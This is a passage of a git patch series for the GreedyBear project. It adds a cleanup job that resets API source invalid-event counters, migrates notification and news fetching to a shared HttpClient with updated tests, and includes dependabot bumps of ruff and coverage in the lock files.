"""Repository to handle APISource data modifications.""" + + def __init__(self): + self.log = logging.getLogger(f"{__name__}.{self.__class__.__name__}") + + def reset_invalid_counts(self) -> int: + """ + Resets invalid_event_count to 0 for all records where it is greater than 0. + Returns the number of updated records. + """ + return APISource.objects.filter(invalid_event_count__gt=0).update(invalid_event_count=0) diff --git a/tests/greedybear/cronjobs/test_cleanup.py b/tests/greedybear/cronjobs/test_cleanup.py index 696d1a655..42f6f63cb 100644 --- a/tests/greedybear/cronjobs/test_cleanup.py +++ b/tests/greedybear/cronjobs/test_cleanup.py @@ -3,11 +3,13 @@ from greedybear.cronjobs.cleanup import CleanUp from greedybear.cronjobs.repositories import ( + APISourceRepository, CowrieSessionRepository, IocRepository, StatisticsRepository, ) -from tests import CustomTestCase +from greedybear.models import APISource +from tests import CustomTestCase, make_api_source, make_user class TestCleanUp(CustomTestCase): @@ -17,9 +19,11 @@ def test_init_uses_default_repos(self): self.assertIsNotNone(cleanup_job.ioc_repo) self.assertIsNotNone(cleanup_job.cowrie_repo) self.assertIsNotNone(cleanup_job.stats_repo) + self.assertIsNotNone(cleanup_job.api_source_repo) self.assertIsInstance(cleanup_job.ioc_repo, IocRepository) self.assertIsInstance(cleanup_job.cowrie_repo, CowrieSessionRepository) self.assertIsInstance(cleanup_job.stats_repo, StatisticsRepository) + self.assertIsInstance(cleanup_job.api_source_repo, APISourceRepository) @patch("greedybear.cronjobs.cleanup.IOC_RETENTION", 100) @patch("greedybear.cronjobs.cleanup.COMMAND_SEQUENCE_RETENTION", 90) @@ -31,6 +35,7 @@ def test_run_calls_repository_methods_with_correct_dates(self): ioc_repo = MagicMock() cowrie_repo = MagicMock() stats_repo = MagicMock() + api_source_repo = MagicMock() # Setup return values for logging purposes ioc_repo.delete_old_iocs.return_value = 10 @@ -39,9 +44,15 @@ def test_run_calls_repository_methods_with_correct_dates(self): cowrie_repo.delete_sessions_without_login.return_value = 15 cowrie_repo.delete_sessions_without_commands.return_value = 8 stats_repo.delete_old_statistics.return_value = 3 + api_source_repo.reset_invalid_counts.return_value = 4 # Initialize CleanUp with mocks - cleanup_job = CleanUp(ioc_repo=ioc_repo, cowrie_repo=cowrie_repo, stats_repo=stats_repo) + cleanup_job = CleanUp( + ioc_repo=ioc_repo, + cowrie_repo=cowrie_repo, + stats_repo=stats_repo, + api_source_repo=api_source_repo, + ) # Mock the logger to verify logging calls cleanup_job.log = MagicMock() @@ -95,10 +106,13 @@ def test_run_calls_repository_methods_with_correct_dates(self): time_diff = abs((actual_date - expected_stats_date).total_seconds()) self.assertLess(time_diff, 1, f"Date difference ({time_diff}s) exceeds 1 second tolerance") + # Verify interactions with APISourceRepository + api_source_repo.reset_invalid_counts.assert_called_once() + # Verify logging messages - # We expect 6 pairs of logs (start + result) - # 12 calls to info level - self.assertEqual(cleanup_job.log.info.call_count, 12) + # We expect 7 pairs/entries of logs (including your new retention entries) + # 14 total calls to info level + self.assertEqual(cleanup_job.log.info.call_count, 14) # Check specific log messages to ensure counts are logged cleanup_job.log.info.assert_any_call("10 objects deleted") @@ -107,12 +121,14 @@ def test_run_calls_repository_methods_with_correct_dates(self): cleanup_job.log.info.assert_any_call("15 objects deleted") cleanup_job.log.info.assert_any_call("8 objects deleted") cleanup_job.log.info.assert_any_call("3 objects deleted") + cleanup_job.log.info.assert_any_call("Reset invalid_event_count to 0 for 4 APISources") def test_run_handles_zero_deletions(self): """Test that run method handles cases where no objects are deleted.""" ioc_repo = MagicMock() cowrie_repo = MagicMock() stats_repo = MagicMock() + api_source_repo = MagicMock() # Setup return values as 0 ioc_repo.delete_old_iocs.return_value = 0 @@ -121,8 +137,14 @@ def test_run_handles_zero_deletions(self): cowrie_repo.delete_sessions_without_login.return_value = 0 cowrie_repo.delete_sessions_without_commands.return_value = 0 stats_repo.delete_old_statistics.return_value = 0 - - cleanup_job = CleanUp(ioc_repo=ioc_repo, cowrie_repo=cowrie_repo, stats_repo=stats_repo) + api_source_repo.reset_invalid_counts.return_value = 0 + + cleanup_job = CleanUp( + ioc_repo=ioc_repo, + cowrie_repo=cowrie_repo, + stats_repo=stats_repo, + api_source_repo=api_source_repo, + ) cleanup_job.log = MagicMock() cleanup_job.run() @@ -134,6 +156,44 @@ def test_run_handles_zero_deletions(self): cowrie_repo.delete_sessions_without_login.assert_called_once() cowrie_repo.delete_sessions_without_commands.assert_called_once() stats_repo.delete_old_statistics.assert_called_once() + api_source_repo.reset_invalid_counts.assert_called_once() # Verify zero counts are logged cleanup_job.log.info.assert_any_call("0 objects deleted") + cleanup_job.log.info.assert_any_call("Reset invalid_event_count to 0 for 0 APISources") + + def test_apisource_invalid_event_count_reset(self): + """Integration test verifying database values for APISource are successfully reset to 0.""" + # Create users + user1 = make_user(username="user1") + user2 = make_user(username="user2") + user3 = make_user(username="user3") + + # Create API sources linked to users + source_1 = make_api_source(user1, name="source_1") + source_2 = make_api_source(user2, name="source_2") + source_3 = make_api_source(user3, name="source_3") + + # Adjust the counters directly via the DB layer + APISource.objects.filter(id=source_1.id).update(invalid_event_count=5) + APISource.objects.filter(id=source_2.id).update(invalid_event_count=10) + APISource.objects.filter(id=source_3.id).update(invalid_event_count=0) + + # Initialize real cleanup class but stub out unrelated repos so they don't break on missing data + cleanup_job = CleanUp() + cleanup_job.log = MagicMock() + cleanup_job.ioc_repo = MagicMock() + cleanup_job.cowrie_repo = MagicMock() + cleanup_job.stats_repo = MagicMock() + + # Execute + cleanup_job.execute() + + # Check data fields + source_1.refresh_from_db() + source_2.refresh_from_db() + source_3.refresh_from_db() + + self.assertEqual(source_1.invalid_event_count, 0) + self.assertEqual(source_2.invalid_event_count, 0) + self.assertEqual(source_3.invalid_event_count, 0) From 8f4b5466df9fd16cce28d534ddf6425c875c53f8 Mon Sep 17 00:00:00 2001 From: Prasad Shinde <144712280+Prasad8830@users.noreply.github.com> Date: Tue, 23 Jun 2026 11:21:38 +0530 Subject: [PATCH 048/131] refactor(fetchers): migrate ntfy and get_greedybear_news to HttpClient. Refs #1214 (#1424) --- api/views/utils.py | 6 +++--- greedybear/ntfy.py | 17 +++++++++-------- tests/api/views/test_news_view.py | 2 +- tests/test_ntfy.py | 25 +++++++++---------------- 4 files changed, 22 insertions(+), 28 deletions(-) diff --git a/api/views/utils.py b/api/views/utils.py index 2146fd34b..249f6fb86 100644 --- a/api/views/utils.py +++ b/api/views/utils.py @@ -5,7 +5,6 @@ from datetime import timedelta import feedparser -import requests from django.conf import settings from django.contrib.postgres.aggregates import ArrayAgg from django.core.cache import cache @@ -16,6 +15,7 @@ from stix2 import Bundle, ExternalReference, Indicator from greedybear.consts import APISOURCE_LOCKED_THRESHOLD, CACHE_KEY_GREEDYBEAR_NEWS, CACHE_TIMEOUT_SECONDS, RSS_FEED_URL +from greedybear.cronjobs.http_client import HttpClient from greedybear.models import APISource, AutonomousSystem, EventStatus, EventStatusType, RawEvent, Sensor, SourceType, Statistics from greedybear.utils import is_ip_address, is_valid_domain @@ -294,8 +294,8 @@ def get_greedybear_news() -> list[dict]: return cached try: - response = requests.get(RSS_FEED_URL, timeout=5) - response.raise_for_status() + with HttpClient() as client: + response = client.get(RSS_FEED_URL, timeout=5) feed = feedparser.parse(response.content) filtered_entries = sorted( diff --git a/greedybear/ntfy.py b/greedybear/ntfy.py index b0fc80e03..d25ae438f 100644 --- a/greedybear/ntfy.py +++ b/greedybear/ntfy.py @@ -1,8 +1,9 @@ import logging -import requests from django.conf import settings +from greedybear.cronjobs.http_client import HttpClient + logger = logging.getLogger(__name__) @@ -19,13 +20,13 @@ def send_ntfy_message(message): } try: - response = requests.post( - settings.NTFY_URL, - data=message.encode("utf-8"), - headers=headers, - timeout=(1, 2), - ) - response.raise_for_status() + with HttpClient() as client: + client.post( + settings.NTFY_URL, + data=message.encode("utf-8"), + headers=headers, + timeout=(1, 2), + ) except Exception: logger.exception("Failed to send ntfy message") diff --git a/tests/api/views/test_news_view.py b/tests/api/views/test_news_view.py index 725fb9845..7cc87533b 100644 --- a/tests/api/views/test_news_view.py +++ b/tests/api/views/test_news_view.py @@ -125,7 +125,7 @@ def test_results_are_cached_after_first_call(self, mock_parse): self.assertEqual(result1, result2) mock_parse.assert_not_called() - @patch("api.views.utils.requests.get") + @patch("api.views.utils.HttpClient.get") def test_feed_request_timeout_returns_empty_list(self, mock_get): mock_get.side_effect = requests.Timeout() diff --git a/tests/test_ntfy.py b/tests/test_ntfy.py index cfb4a468a..284e27c3b 100644 --- a/tests/test_ntfy.py +++ b/tests/test_ntfy.py @@ -1,5 +1,6 @@ from unittest.mock import MagicMock, patch +import requests from django.test import override_settings from greedybear.ntfy import send_ntfy_message @@ -14,14 +15,12 @@ @override_settings(LOGGING=TEST_LOGGING) class SendNtfyMessageTests(CustomTestCase): @override_settings(NTFY_URL="https://ntfy.sh/greedybear") - @patch("greedybear.ntfy.requests.post") + @patch("greedybear.ntfy.HttpClient.post") @patch("greedybear.ntfy.logger") def test_happy_path_successful_post(self, mock_logger, mock_post): message = "Something went wrong" - mock_response = MagicMock() - mock_response.raise_for_status.return_value = None - mock_post.return_value = mock_response + mock_post.return_value = MagicMock() send_ntfy_message(message) @@ -39,13 +38,11 @@ def test_happy_path_successful_post(self, mock_logger, mock_post): mock_logger.exception.assert_not_called() @override_settings(NTFY_URL="https://ntfy.sh/greedybear") - @patch("greedybear.ntfy.requests.post") + @patch("greedybear.ntfy.HttpClient.post") def test_happy_path_non_ascii_message(self, mock_post): message = "⚠️ Über-alert" - mock_response = MagicMock() - mock_response.raise_for_status.return_value = None - mock_post.return_value = mock_response + mock_post.return_value = MagicMock() send_ntfy_message(message) @@ -53,7 +50,7 @@ def test_happy_path_non_ascii_message(self, mock_post): self.assertEqual(kwargs["data"], message.encode("utf-8")) @override_settings(NTFY_URL="") - @patch("greedybear.ntfy.requests.post") + @patch("greedybear.ntfy.HttpClient.post") @patch("greedybear.ntfy.logger") def test_no_url_configured_logs_warning_and_skips_post(self, mock_logger, mock_post): send_ntfy_message("anything") @@ -62,21 +59,17 @@ def test_no_url_configured_logs_warning_and_skips_post(self, mock_logger, mock_p mock_logger.warning.assert_called_once() @override_settings(NTFY_URL="https://ntfy.sh/greedybear") - @patch("greedybear.ntfy.requests.post") + @patch("greedybear.ntfy.HttpClient.post") @patch("greedybear.ntfy.logger") def test_http_error_logged_but_not_raised(self, mock_logger, mock_post): - error = Exception("HTTP 500") - - mock_response = MagicMock() - mock_response.raise_for_status.side_effect = error - mock_post.return_value = mock_response + mock_post.side_effect = requests.HTTPError("HTTP 500") send_ntfy_message("msg") mock_logger.exception.assert_called_once() @override_settings(NTFY_URL="https://ntfy.sh/greedybear") - @patch("greedybear.ntfy.requests.post") + @patch("greedybear.ntfy.HttpClient.post") @patch("greedybear.ntfy.logger") def test_network_error_logged_but_not_raised(self, mock_logger, mock_post): error = TimeoutError("timeout") From 753e3bd3b5322842e94fdd939b7c0fc6d902fa52 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Jun 2026 21:13:06 +0200 Subject: [PATCH 049/131] build(deps-dev): bump ruff from 0.15.17 to 0.15.18 (#1432) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.17 to 0.15.18. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.17...0.15.18) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.18 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 6008d8e84..130c20f20 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -51,7 +51,7 @@ test = [ "django-test-migrations==1.5.0", ] lint = [ - "ruff==0.15.17", + "ruff==0.15.18", ] [tool.uv] diff --git a/uv.lock b/uv.lock index 22861cc46..66eb95676 100644 --- a/uv.lock +++ b/uv.lock @@ -548,7 +548,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] -lint = [{ name = "ruff", specifier = "==0.15.17" }] +lint = [{ name = "ruff", specifier = "==0.15.18" }] test = [ { name = "coverage", specifier = "==7.14.1" }, { name = "django-test-migrations", specifier = "==1.5.0" }, @@ -896,27 +896,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.17" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8c/a9/3abdf488f1bf3d24c699415e454ed554a6350d5d89ce183be1ee0a3361ac/ruff-0.15.17.tar.gz", hash = "sha256:2ec446937fd16c8c4de2674a209cc5af64d9c6f17d21fbf1151054fa0bcf5219", size = 4743346, upload-time = "2026-06-11T17:54:47.663Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/db/4d/e11259f5da07cb6afb2d074c31bf09da9671993f7329d4f15d2fdc458301/ruff-0.15.17-py3-none-linux_armv6l.whl", hash = "sha256:d9feddb927fc68bd295f5eebc587a7e42cfaf9b65f60ca4a2386febff575da8f", size = 10856677, upload-time = "2026-06-11T17:54:49.533Z" }, - { url = "https://files.pythonhosted.org/packages/29/3e/772d679e1a0dc058e58875bd2c0cb713a0530877b4a76fee3c7966df0d49/ruff-0.15.17-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:25805a226d741c47d274a35ad5c10a7dde175fcddfa511d7cf3da0a21eb3eab7", size = 11223443, upload-time = "2026-06-11T17:55:00.573Z" }, - { url = "https://files.pythonhosted.org/packages/68/58/bd41f7688b2fd5623012605130ed70e60aa7f2244baa3d5066bdd61530c8/ruff-0.15.17-py3-none-macosx_11_0_arm64.whl", hash = "sha256:f6ad73b14c2d18a3bf8ad7cb6974294d7f613a7898604826058e6ac64918ef4d", size = 10566458, upload-time = "2026-06-11T17:55:07.52Z" }, - { url = "https://files.pythonhosted.org/packages/d8/5b/733371013fcf1ec339e477ece6ab42bfe10bdd9bba8ee88a9516aa56bfc0/ruff-0.15.17-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ba0c1e4f95bcb3869d0d30cbd5917071ef2e28665abfec970cdab0492c713ed", size = 10914483, upload-time = "2026-06-11T17:55:05.501Z" }, - { url = "https://files.pythonhosted.org/packages/bd/cc/6f24251cc0252f7239391ccb85833f320efad14ebe5b443943f37ced6332/ruff-0.15.17-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:81647960f10bff57d2e51cadd0c3950fe598400c852863a038720ef5b8cca91e", size = 10647497, upload-time = "2026-06-11T17:54:57.733Z" }, - { url = "https://files.pythonhosted.org/packages/68/dd/0d10c17ce1a1624d6fc3156309c3f834fdb5dfaad026ec90c85684f3990e/ruff-0.15.17-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0e01a84ddbc8c16c23055ba3924476850f1bbc1917cebbb9376665a63e74260d", size = 11416967, upload-time = "2026-06-11T17:54:51.461Z" }, - { url = "https://files.pythonhosted.org/packages/2f/91/556bfb156f6144f355e831c23db00b2fc4120f86b3ce81cc5f7fd2df51f3/ruff-0.15.17-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84fe9f653152f8f294f9f7e03bf3a453d8b4a27f7a59c78c8666167f2b17b96c", size = 12335770, upload-time = "2026-06-11T17:54:45.793Z" }, - { url = "https://files.pythonhosted.org/packages/88/82/8b5999aa13355e926f06d9f42a32dcca862f623bf0363785ff89d607dffd/ruff-0.15.17-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c0fe88a7676e7a05b73174d4d4a59cb2ac21ff8263583f87a81a6018475a978", size = 11575441, upload-time = "2026-06-11T17:54:32.661Z" }, - { url = "https://files.pythonhosted.org/packages/11/93/f10377bb04109ca0e8cbc483ff1982c54b6d418210041776f93e8cdc7fa9/ruff-0.15.17-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecfc3c7878fff94633ab0348524e093f9ce3243080416dd7d14f8ba400174719", size = 11557614, upload-time = "2026-06-11T17:54:34.698Z" }, - { url = "https://files.pythonhosted.org/packages/c7/a6/eeeae7f7d5493df41649ab3db92f086b2d0a30199e4efdf8e3dd7a033f24/ruff-0.15.17-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:b8461180b22420b1bdc289909410930761629fddf2a5aaf60fae1ab26cedc4c4", size = 11544450, upload-time = "2026-06-11T17:54:39.042Z" }, - { url = "https://files.pythonhosted.org/packages/32/88/5991ce565129a24dd4a00db1254b3b5db2e53018cbe4018ea5a89738e727/ruff-0.15.17-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:6eccbe50a038b503e7140b441aa9c7fc8c1f36edf23ebef9f4165c2f28f568b7", size = 10892524, upload-time = "2026-06-11T17:55:09.432Z" }, - { url = "https://files.pythonhosted.org/packages/f5/1d/0fdd248313425f55223968af04b0a42125466a8d88d21c1d99c6af0a51e8/ruff-0.15.17-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:382fc0521025f5a8ad447d8bdd523545d0d7646adb718eb1c2dac5065ec27c0f", size = 10659573, upload-time = "2026-06-11T17:54:36.824Z" }, - { url = "https://files.pythonhosted.org/packages/9e/0e/072e8260deb9461062ce9311ced27a8e541229a6ffd483013dd37661e43e/ruff-0.15.17-py3-none-musllinux_1_2_i686.whl", hash = "sha256:456d41fcd1b2777ad63f09a6e7121d43f7b688bbc76a800c10f7f8fb1f912c3f", size = 11127818, upload-time = "2026-06-11T17:55:03.124Z" }, - { url = "https://files.pythonhosted.org/packages/ab/b4/55060a34163121498014696b5f656db5b8c6963768f227dbf0d76b311073/ruff-0.15.17-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b1a04bcc94ae6194e9db05d16ad31f298a7194bfbcb08258bbe589cee1d587b8", size = 11655901, upload-time = "2026-06-11T17:54:53.562Z" }, - { url = "https://files.pythonhosted.org/packages/49/71/9b29d6b87cef468d697f43c6a91e3fae4a80185779d7d5a4ef27d173439f/ruff-0.15.17-py3-none-win32.whl", hash = "sha256:596065960ab1ff593f744220c9fe6580eda00a95003cffa9f4048bb5b1bf0392", size = 10925574, upload-time = "2026-06-11T17:54:55.723Z" }, - { url = "https://files.pythonhosted.org/packages/3d/b2/8fc77f3723228836fa5d12497eb71c808f83782e10d058d2b15cfa14640b/ruff-0.15.17-py3-none-win_amd64.whl", hash = "sha256:6769e5fa1710b179b92e0bfa5a51735b35baea9013dadb06d5f44cbcf9547084", size = 12058788, upload-time = "2026-06-11T17:54:41.042Z" }, - { url = "https://files.pythonhosted.org/packages/2d/c7/c53e8dbff9c9dc4b7928773421ae294a5d28fcb8dcda1a089579d3a7e510/ruff-0.15.17-py3-none-win_arm64.whl", hash = "sha256:f3be1fbb34bcdfd146240d8fb92a709d4c2c8191348580a3c044ec60fa0b4456", size = 11355275, upload-time = "2026-06-11T17:54:43.635Z" }, +version = "0.15.18" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/74/98/1295ad5a5aa9bc85bdcdfa5d82fe7b49c61af5657df4f227637ff9de0da6/ruff-0.15.18.tar.gz", hash = "sha256:2698a964c70e8bf402dcb99c8810472d270d141e7aa8c4e13599fd52033a2f33", size = 4761437, upload-time = "2026-06-18T18:25:39.224Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/d0/686e984941269621e2be72612d5c1e461f8f7b38415a2a7d7a81c8ae6715/ruff-0.15.18-py3-none-linux_armv6l.whl", hash = "sha256:8b6850172348c8381b8b3084c5915a4393c2373b9b54cd5b5e1ea15812bc10df", size = 10887308, upload-time = "2026-06-18T18:25:03.062Z" }, + { url = "https://files.pythonhosted.org/packages/ed/21/bc4123e3f5515ee99f8ce1eb93a14a0628fe4d1678663cd08f933ac16931/ruff-0.15.18-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:3fccc153a85417dcd976883160cacce486997b0a0058dd18f54b8aaaac7d1ce2", size = 11281305, upload-time = "2026-06-18T18:25:30.026Z" }, + { url = "https://files.pythonhosted.org/packages/51/93/4769464c25cf7ab2acb3c7dda9cad3d867eb41c59565b3e2a9d17249c90c/ruff-0.15.18-py3-none-macosx_11_0_arm64.whl", hash = "sha256:08d4c86a68f2c3ec2c9d56380a71fb4a4f65373055cbb8caabd645e9102f38d4", size = 10641215, upload-time = "2026-06-18T18:25:15.802Z" }, + { url = "https://files.pythonhosted.org/packages/6c/42/56926d17120db2c208d76bf60a1a019644dd9e91dc27f0f95c9caddb1366/ruff-0.15.18-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37e5108745c2c0705da916d7d4de533ddf547051ef45f62888c31bae73f66318", size = 10957224, upload-time = "2026-06-18T18:25:36.955Z" }, + { url = "https://files.pythonhosted.org/packages/22/4f/d43fab8d8189afde803103022d000a8ef9f230616d436d52a8b2b8d63b50/ruff-0.15.18-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:56949a6ce8b3abde54c0bcb22cebfe57e8771cadc84b407ae8b8eaf67ebdcd43", size = 10699024, upload-time = "2026-06-18T18:25:05.707Z" }, + { url = "https://files.pythonhosted.org/packages/63/42/1e3e4c68bd408b9768cf3e439acbe2c78245225faef253f7028a0cdb63e0/ruff-0.15.18-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01a754cd6a1b630d3f97e33eb452cf7a98040482318e870f8bc52a5a30e62657", size = 11491458, upload-time = "2026-06-18T18:25:20.275Z" }, + { url = "https://files.pythonhosted.org/packages/20/77/47a3484bea8521e14a203d98c389c5c97846675e4f02734672da4a69b52a/ruff-0.15.18-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ba7a07e03a44dbf10bb086ee06705b173625014ec99f73a7e6836a5e5590a0c", size = 12383752, upload-time = "2026-06-18T18:25:22.535Z" }, + { url = "https://files.pythonhosted.org/packages/0a/ca/054159590787023d83b658a1a1819c4c8910114e7015069340b71c0961cb/ruff-0.15.18-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5a2c40a41a4cadbcf5897b548ab29dfe248b20c540961c0247d98a3973c70403", size = 11577923, upload-time = "2026-06-18T18:25:10.702Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ff/d353d6b7bbd73cc0ec37f4463d7540e45e894338abdd9964eee0de332708/ruff-0.15.18-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f0480ce690cbb6c4db6e5d08f19fce98e10ba131a8b60c1bcdac42771e3ae2d", size = 11583925, upload-time = "2026-06-18T18:25:32.391Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4a/891f89b9c296ed3e5f3ece1a5629badc989d9a8fdaa30431aaf4774bc1c2/ruff-0.15.18-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2330215f1f393fa8733f55edce04fcf94c36a2c460fcde31f78cc84e4951e9b1", size = 11582834, upload-time = "2026-06-18T18:25:27.309Z" }, + { url = "https://files.pythonhosted.org/packages/32/a3/ed9e370154bf85de360b93c03026157f02d4943b2d01ff4945f4429f8e8a/ruff-0.15.18-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a6aa6a3d979e48ae617578183674bf264fbe7d0114a796a26bd678d67963c7ff", size = 10927328, upload-time = "2026-06-18T18:25:34.676Z" }, + { url = "https://files.pythonhosted.org/packages/f5/d1/5cf5909329fedb5d39d555ee818ba5cf4638e1a301b89785d34f2905bfcb/ruff-0.15.18-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:a81beadbbff2c9c245561ae3f77b16709d87f35eec650d0501679239d3449b22", size = 10693187, upload-time = "2026-06-18T18:25:08.245Z" }, + { url = "https://files.pythonhosted.org/packages/fd/44/ff6c635cf2c4f4e7b618b6640da057376baa36014695487d88aed4794268/ruff-0.15.18-py3-none-musllinux_1_2_i686.whl", hash = "sha256:2186d9e940ae332ab293623a75b5f4fe49565f449954d50a72a046683aa6b809", size = 11208721, upload-time = "2026-06-18T18:25:41.327Z" }, + { url = "https://files.pythonhosted.org/packages/88/d9/5baa2a30861adfb7022cf33c1e35b2fc18085b08c16f83eff4c7b99a5f48/ruff-0.15.18-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5c2abf140438032bc77b2284a6c9944ecd8a19e5f1c7b52b1b8e4a0a80d19a7a", size = 11678599, upload-time = "2026-06-18T18:25:13.607Z" }, + { url = "https://files.pythonhosted.org/packages/c3/1a/0725a7cfdc32ff769efb96ee782bec882e16448c5d9e3be947ec4c04ce27/ruff-0.15.18-py3-none-win32.whl", hash = "sha256:02299e6e9fa5b297a3f6d5d10d7bcd655c925b028bb8b9d4588214549c6b9ec4", size = 10901903, upload-time = "2026-06-18T18:25:24.755Z" }, + { url = "https://files.pythonhosted.org/packages/f3/51/805d9f6fb7970505c3504794a5ec350f605361b807fef4dcf214ebd35e72/ruff-0.15.18-py3-none-win_amd64.whl", hash = "sha256:dac80dc8d26b2257dbefabed62f5d255c3937b4ccb122da1fc634794fa3578b3", size = 12041189, upload-time = "2026-06-18T18:25:17.915Z" }, + { url = "https://files.pythonhosted.org/packages/29/4c/67bb45e41609eb4726f1bfeb59e083cf91d14c696d4bd14c234a980be93d/ruff-0.15.18-py3-none-win_arm64.whl", hash = "sha256:b2c9257fcbd4a3e5b977a1904e6facca016bafe2edc17df24db67cfaee03b4e4", size = 11329958, upload-time = "2026-06-18T18:25:43.686Z" }, ] [[package]] From d00dbcd2333f0e5b8c3b301894c2156623055272 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Jun 2026 21:13:27 +0200 Subject: [PATCH 050/131] build(deps-dev): bump coverage from 7.14.1 to 7.14.3 (#1431) Bumps [coverage](https://github.com/coveragepy/coveragepy) from 7.14.1 to 7.14.3. - [Release notes](https://github.com/coveragepy/coveragepy/releases) - [Changelog](https://github.com/coveragepy/coveragepy/blob/main/CHANGES.rst) - [Commits](https://github.com/coveragepy/coveragepy/compare/7.14.1...7.14.3) --- updated-dependencies: - dependency-name: coverage dependency-version: 7.14.3 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 57 +++++++++++++++++++------------------------------- 2 files changed, 22 insertions(+), 37 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 130c20f20..2cd7663c8 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dev = [ "django-watchfiles~=1.4", ] test = [ - "coverage==7.14.1", + "coverage==7.14.3", "django-test-migrations==1.5.0", ] lint = [ diff --git a/uv.lock b/uv.lock index 66eb95676..c8f483500 100644 --- a/uv.lock +++ b/uv.lock @@ -143,41 +143,26 @@ wheels = [ [[package]] name = "coverage" -version = "7.14.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/54/fd/0ab2772530e946e1be1abd0bc09e647ec9b02e88f0867857601fefca8953/coverage-7.14.1.tar.gz", hash = "sha256:30c08f7d90415aa98b3c990385dea2939b0da55f38515e5b369b83655f8523be", size = 920132, upload-time = "2026-05-26T20:41:36.783Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/8a/9e/5f6d56327c62b185225d145191c607e07515294a0aa6338e58805cd4a5ac/coverage-7.14.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:be9f2c802dcfce3f71298303aa5dad0dce440a76c52f2f60dacd8656dab78793", size = 220044, upload-time = "2026-05-26T20:39:29.902Z" }, - { url = "https://files.pythonhosted.org/packages/75/92/e82aca356744cbbc0f77a0b623e38918c1872361963413a3bab5d0340393/coverage-7.14.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6223a72fd0e4c7156353ec0f08a5f93623e1d3034d0e2683b9bb8ea674131b1d", size = 220412, upload-time = "2026-05-26T20:39:31.561Z" }, - { url = "https://files.pythonhosted.org/packages/27/c9/385bde0bf7ed0f4bf3a7ee5367060a86b5d218718cfd6fb943c0f836b34f/coverage-7.14.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7279d2110a28cebc738b6459ecda2771735a4c18465fbbd36b3288fe5ed92247", size = 251412, upload-time = "2026-05-26T20:39:33.337Z" }, - { url = "https://files.pythonhosted.org/packages/51/8c/23faf6a2343a0d17f960a4bd56c43bc7eb4cf312f774dd6ceebd82c7d8fc/coverage-7.14.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9eeb3fcbc13ba40dfbdb22d01d196a28e9cef9ed4c29b60061a1e0e823a9929d", size = 254008, upload-time = "2026-05-26T20:39:35.009Z" }, - { url = "https://files.pythonhosted.org/packages/42/06/36f4aa9ca8a815e6036156e80706a67828bb97bd826948244f6996dda957/coverage-7.14.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f0cfc27c539f07cf5c0a4cfe211d0b6cae039f8f40526dbaa71944e64b50a7b", size = 255241, upload-time = "2026-05-26T20:39:36.71Z" }, - { url = 